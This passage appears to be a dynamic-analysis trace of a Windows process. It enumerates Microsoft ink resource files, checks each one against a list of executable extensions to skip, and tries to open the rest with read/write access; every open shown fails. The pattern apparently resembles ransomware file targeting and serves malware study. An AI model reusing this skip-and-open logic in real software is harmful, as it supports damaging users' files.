	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.268] lstrlenW (lpString=".dll") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".dll") returned 0x0
	[0078.268] lstrlenW (lpString=".bat") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".bat") returned 0x0
	[0078.268] lstrlenW (lpString=".cpl") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.268] lstrlenW (lpString=".sys") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".sys") returned 0x0
	[0078.268] lstrlenW (lpString=".msc") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".msc") returned 0x0
	[0078.268] lstrlenW (lpString=".com") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".com") returned 0x0
	[0078.268] lstrlenW (lpString=".lnk") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.268] lstrlenW (lpString=".msp") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".msp") returned 0x0
	[0078.268] lstrlenW (lpString=".pif") returned 4
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".pif") returned 0x0
	[0078.268] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0078.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.269] RtlWakeConditionVariable () returned 0x365f70
	[0078.269] GetCurrentThreadId () returned 0xaf0
	[0078.269] GetCurrentThreadId () returned 0xaf0
	[0078.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0078.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ef8 | out: hHeap=0x300000) returned 1
	[0078.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac140
	[0078.269] lstrlenW (lpString=".scr") returned 4
	[0078.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".scr") returned 0x0
	[0078.269] lstrlenW (lpString=".cmd") returned 4
	[0078.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.269] lstrlenW (lpString=".dll") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.270] lstrlenW (lpString=".dll.mui") returned 8
	[0078.270] lstrlenW (lpString=".bat") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".bat") returned 0x0
	[0078.270] lstrlenW (lpString=".cpl") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.270] lstrlenW (lpString=".sys") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".sys") returned 0x0
	[0078.270] lstrlenW (lpString=".msc") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".msc") returned 0x0
	[0078.270] lstrlenW (lpString=".com") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".com") returned 0x0
	[0078.270] lstrlenW (lpString=".lnk") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.270] lstrlenW (lpString=".msp") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".msp") returned 0x0
	[0078.270] lstrlenW (lpString=".pif") returned 4
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch=".pif") returned 0x0
	[0078.270] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac140 | out: hHeap=0x300000) returned 1
	[0078.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.274] RtlWakeConditionVariable () returned 0x365f70
	[0078.274] GetCurrentThreadId () returned 0xaf0
	[0078.274] GetCurrentThreadId () returned 0xaf0
	[0078.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0078.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f30 | out: hHeap=0x300000) returned 1
	[0078.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0078.274] lstrlenW (lpString=".scr") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".scr") returned 0x0
	[0078.275] lstrlenW (lpString=".cmd") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.275] lstrlenW (lpString=".dll") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.275] lstrlenW (lpString=".dll.mui") returned 8
	[0078.275] lstrlenW (lpString=".bat") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".bat") returned 0x0
	[0078.275] lstrlenW (lpString=".cpl") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.275] lstrlenW (lpString=".sys") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".sys") returned 0x0
	[0078.275] lstrlenW (lpString=".msc") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".msc") returned 0x0
	[0078.275] lstrlenW (lpString=".com") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".com") returned 0x0
	[0078.275] lstrlenW (lpString=".lnk") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.275] lstrlenW (lpString=".msp") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".msp") returned 0x0
	[0078.275] lstrlenW (lpString=".pif") returned 4
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch=".pif") returned 0x0
	[0078.275] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f34a0 | out: hHeap=0x300000) returned 1
	[0078.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.276] RtlWakeConditionVariable () returned 0x365f70
	[0078.276] GetCurrentThreadId () returned 0xaf0
	[0078.276] GetCurrentThreadId () returned 0xaf0
	[0078.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0078.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f68 | out: hHeap=0x300000) returned 1
	[0078.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0078.276] lstrlenW (lpString=".scr") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".scr") returned 0x0
	[0078.276] lstrlenW (lpString=".cmd") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.276] lstrlenW (lpString=".dll") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".dll") returned 0x0
	[0078.276] lstrlenW (lpString=".bat") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".bat") returned 0x0
	[0078.276] lstrlenW (lpString=".cpl") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.276] lstrlenW (lpString=".sys") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".sys") returned 0x0
	[0078.276] lstrlenW (lpString=".msc") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".msc") returned 0x0
	[0078.276] lstrlenW (lpString=".com") returned 4
	[0078.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".com") returned 0x0
	[0078.277] lstrlenW (lpString=".lnk") returned 4
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.277] lstrlenW (lpString=".msp") returned 4
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".msp") returned 0x0
	[0078.277] lstrlenW (lpString=".pif") returned 4
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch=".pif") returned 0x0
	[0078.277] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0078.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.277] RtlWakeConditionVariable () returned 0x365f70
	[0078.277] GetCurrentThreadId () returned 0xaf0
	[0078.277] GetCurrentThreadId () returned 0xaf0
	[0078.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0078.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8e48 | out: hHeap=0x300000) returned 1
	[0078.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fa0 | out: hHeap=0x300000) returned 1
	[0078.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8e48
	[0078.277] lstrlenW (lpString=".scr") returned 4
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".scr") returned 0x0
	[0078.277] lstrlenW (lpString=".cmd") returned 4
	[0078.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".cmd") returned 0x0
	[0078.277] lstrlenW (lpString=".dll") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".dll") returned 0x0
	[0078.278] lstrlenW (lpString=".bat") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".bat") returned 0x0
	[0078.278] lstrlenW (lpString=".cpl") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".cpl") returned 0x0
	[0078.278] lstrlenW (lpString=".sys") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".sys") returned 0x0
	[0078.278] lstrlenW (lpString=".msc") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".msc") returned 0x0
	[0078.278] lstrlenW (lpString=".com") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".com") returned 0x0
	[0078.278] lstrlenW (lpString=".lnk") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".lnk") returned 0x0
	[0078.278] lstrlenW (lpString=".msp") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".msp") returned 0x0
	[0078.278] lstrlenW (lpString=".pif") returned 4
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch=".pif") returned 0x0
	[0078.278] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8e48 | out: hHeap=0x300000) returned 1
	[0078.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0078.278] RtlWakeConditionVariable () returned 0x365f70
	[0078.278] GetCurrentThreadId () returned 0xaf0
	[0078.279] GetCurrentThreadId () returned 0xaf0
	[0078.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3548 | out: hHeap=0x300000) returned 1
	[0078.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fd8 | out: hHeap=0x300000) returned 1
	[0078.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3548
	[0078.279] lstrlenW (lpString=".scr") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".scr") returned 0x0
	[0078.279] lstrlenW (lpString=".cmd") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.279] lstrlenW (lpString=".dll") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.279] lstrlenW (lpString=".dll.mui") returned 8
	[0078.279] lstrlenW (lpString=".bat") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".bat") returned 0x0
	[0078.279] lstrlenW (lpString=".cpl") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.279] lstrlenW (lpString=".sys") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".sys") returned 0x0
	[0078.279] lstrlenW (lpString=".msc") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".msc") returned 0x0
	[0078.279] lstrlenW (lpString=".com") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".com") returned 0x0
	[0078.279] lstrlenW (lpString=".lnk") returned 4
	[0078.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.279] lstrlenW (lpString=".msp") returned 4
	[0078.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".msp") returned 0x0
	[0078.280] lstrlenW (lpString=".pif") returned 4
	[0078.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch=".pif") returned 0x0
	[0078.280] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3548 | out: hHeap=0x300000) returned 1
	[0078.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.281] RtlWakeConditionVariable () returned 0x365f70
	[0078.281] GetCurrentThreadId () returned 0xaf0
	[0078.281] GetCurrentThreadId () returned 0xaf0
	[0078.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f35f0 | out: hHeap=0x300000) returned 1
	[0078.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa010 | out: hHeap=0x300000) returned 1
	[0078.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f35f0
	[0078.281] lstrlenW (lpString=".scr") returned 4
	[0078.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".scr") returned 0x0
	[0078.281] lstrlenW (lpString=".cmd") returned 4
	[0078.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.282] lstrlenW (lpString=".dll") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.282] lstrlenW (lpString=".dll.mui") returned 8
	[0078.282] lstrlenW (lpString=".bat") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".bat") returned 0x0
	[0078.282] lstrlenW (lpString=".cpl") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.282] lstrlenW (lpString=".sys") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".sys") returned 0x0
	[0078.282] lstrlenW (lpString=".msc") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".msc") returned 0x0
	[0078.282] lstrlenW (lpString=".com") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".com") returned 0x0
	[0078.282] lstrlenW (lpString=".lnk") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.282] lstrlenW (lpString=".msp") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".msp") returned 0x0
	[0078.282] lstrlenW (lpString=".pif") returned 4
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch=".pif") returned 0x0
	[0078.282] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f35f0 | out: hHeap=0x300000) returned 1
	[0078.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.397] RtlWakeConditionVariable () returned 0x365f70
	[0078.397] GetCurrentThreadId () returned 0xaf0
	[0078.397] GetCurrentThreadId () returned 0xaf0
	[0078.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0078.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa1d0 | out: hHeap=0x300000) returned 1
	[0078.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3bd8
	[0078.397] lstrlenW (lpString=".scr") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.397] lstrlenW (lpString=".cmd") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.397] lstrlenW (lpString=".dll") returned 4
	[0078.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.397] lstrlenW (lpString=".dll.mui") returned 8
	[0078.397] lstrlenW (lpString=".bat") returned 4
